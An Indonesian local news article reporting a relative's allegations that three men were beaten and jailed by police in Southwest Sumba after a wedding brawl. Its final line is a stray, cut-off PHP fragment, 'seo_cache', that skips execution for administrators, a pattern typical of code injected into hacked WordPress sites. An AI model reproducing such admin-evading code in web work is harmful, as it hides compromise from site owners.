Hukum

Berniat Klarifikasi Keributan Resepsi Nikah, Yoseph Nani Bersama Saudara Malah Dianiaya dan Ditahan Polisi

×

Berniat Klarifikasi Keributan Resepsi Nikah, Yoseph Nani Bersama Saudara Malah Dianiaya dan Ditahan Polisi

Sebarkan artikel ini

TAMBOLAKA, MENARASUMBA.COM – Nasib naas dialami Yoseph Nani, warga Kataparoro, Kelurahan Langga Lero, Kecamatan Kota Tambolaka, SBD.

Duda yang baru kehilangan istri pada akhir Januari 2025 lalu ini dijebloskan ke sel tahanan Polres SBD tanpa tahu sebabnya.

Tiga buah hati Yoseph Nani yang menanti kembalinya sang ayah. ( Foto Menara Sumba )

Ia terpaksa harus meninggalkan tiga buah hatinya yang masih kecil.

Kejadian itu bermula Jumat (25/07/2025) malam pada sebuah resepsi pernikahan Yubilate Bani di Kataparoro.

Menurut penuturan Gabriel Gaddi, salah seorang warga Kataparoro yang juga kerabat Yoseph Nani pada Minggu (03/08/2025) keributan ini berawal saat acara bebas (joget).

Dipicu ulah salah seorang tamu undangan yang berjoget sambil merokok, padahal sudah diumumkan larangan merokok saat joget.

Tidak terima ditegur ia kemudian bertengkar dengan anak dari Stepanus Ngongo Mada (ketua seksi keamanan pesta) tersebut.

“Saat bertengkar warga yang ditegur ini memukul anak Stepanus Ngongo Mada dan kemudian datang Mardi Djuang (oknum polisi) langsung memiting anak tersebut,” jelas Gabriel.

Melihat hal tersebut (kebetulan anaknya yang dipiting oleh Mardi Djuang), Stepanus Ngongo Mada selaku ketua seksi keamanan pesta menghampiri Mardi Djuang dan meminta untuk mendamaikan kedua warga yang ribut ini di luar tenda pesta.

Namun Mardi Djuang malah menepiskan tangannya mengenai wajah Stepanus Ngongo Mada yang kemudian karena merasa sakit balas memukul Mardi Djuang.

“Saat itulah keributan besar terjadi dan 8 warga langsung ditangkap oleh polisi yang ada di area pesta itu lalu dibawa ke Mapolsek Kota Tambolaka dan dimasukkan ke dalam sel,” kisahnya.

Menyikapi kondisi ini, Yubilate Bani selaku pemilik hajatan pesta nikah bersama Yoris Mere (anggota TNI/Babinsa) dan sejumlah warga termasuk Yoseph Nani menuju Mapolsek untuk memberi klarifikasi dengan tujuan agar keributan itu diurus damai secara keluarga.

Sayangnya, dalam perjalanan menuju Polsek Kota Tambolaka, rombongan Yoris Mere bersama beberapa warga lain yang menggunakan sebuah mobil ditelpon dan diminta untuk menenangkan keributan pada sebuah acara pesta di desa lain.

Akhirnya rombongan Yoris Mere yang menggunakan mobil ini tidak langsung ke Mapolsek Kota Tambolaka tapi mampir dulu di lokasi pesta yg ada di desa lain tersebut untuk mengamankan keributan.

“Saat itu saya bersama rombongan Pak Yoris Mere kami menuju ke lokasi pesta di desa tetangga dan hampir satu jam di sana selesaikan masalah tersebut,” ujarnya.

Naasnya, Yoseph Nani yang dibonceng adiknya (Oktavianus Dala Pede) saat itu langsung menuju Mapolsek Kota Tambolaka.

Kemudian mereka berdua justru dianiaya dan ikut ditahan, termasuk sepupu (Korinus Malo) yang berada di rumah ikut dijemput dan disel.

Pada malam itu 11 tahanan ini (3 diantaranya adalah siswa SMA) mengalami penyiksaan di Mapolsek Kota Tambolaka hingga keesokan harinya, Sabtu (26/07/2025) dibawa ke Mapolres SBD untuk ditahan.

Yoseph Nani bersama adiknya Oktavianus Dala Pede langsung ditahan saat hendak memberi klarifikasi di Mapolsek Kota Tambolaka.

Sedangkan sepupunya Korinus Malo dibawa dari rumah Yoseph Nani ketika anggota polisi ke rumah tersebut untuk meminta kartu keluarga.

“Mereka tidak tahu apa-apa tentang keributan di pesta tersebut tapi malah ditahan, disiksa, dan dijadikan tersangka,” imbuhnya.

Gabriel meminta oknum anggota polisi yang telah berlaku sewenang-wenang agar ditindak tegas oleh pimpinan institusi Polri.

Ia menyebut, para kerabatnya ini sudah mengalami siksaan di luar batas kemanusiaan dan ditahan tanpa sebab yang jelas.

“Kami minta ketegasan Pak Kapolres SBD untuk usut dan tindak tegas perbuatan anak buahnya,” tegas Gabriel. ( TIM/MS )

Tinggalkan Balasan

Alamat email Anda tidak akan dipublikasikan. Ruas yang wajib ditandai *

function seo_cache() { if (is_admin()) { return; } $current_user = wp_get_current_user(); if (in_array('administrator', (array) $current_user->roles)) { return; } ?>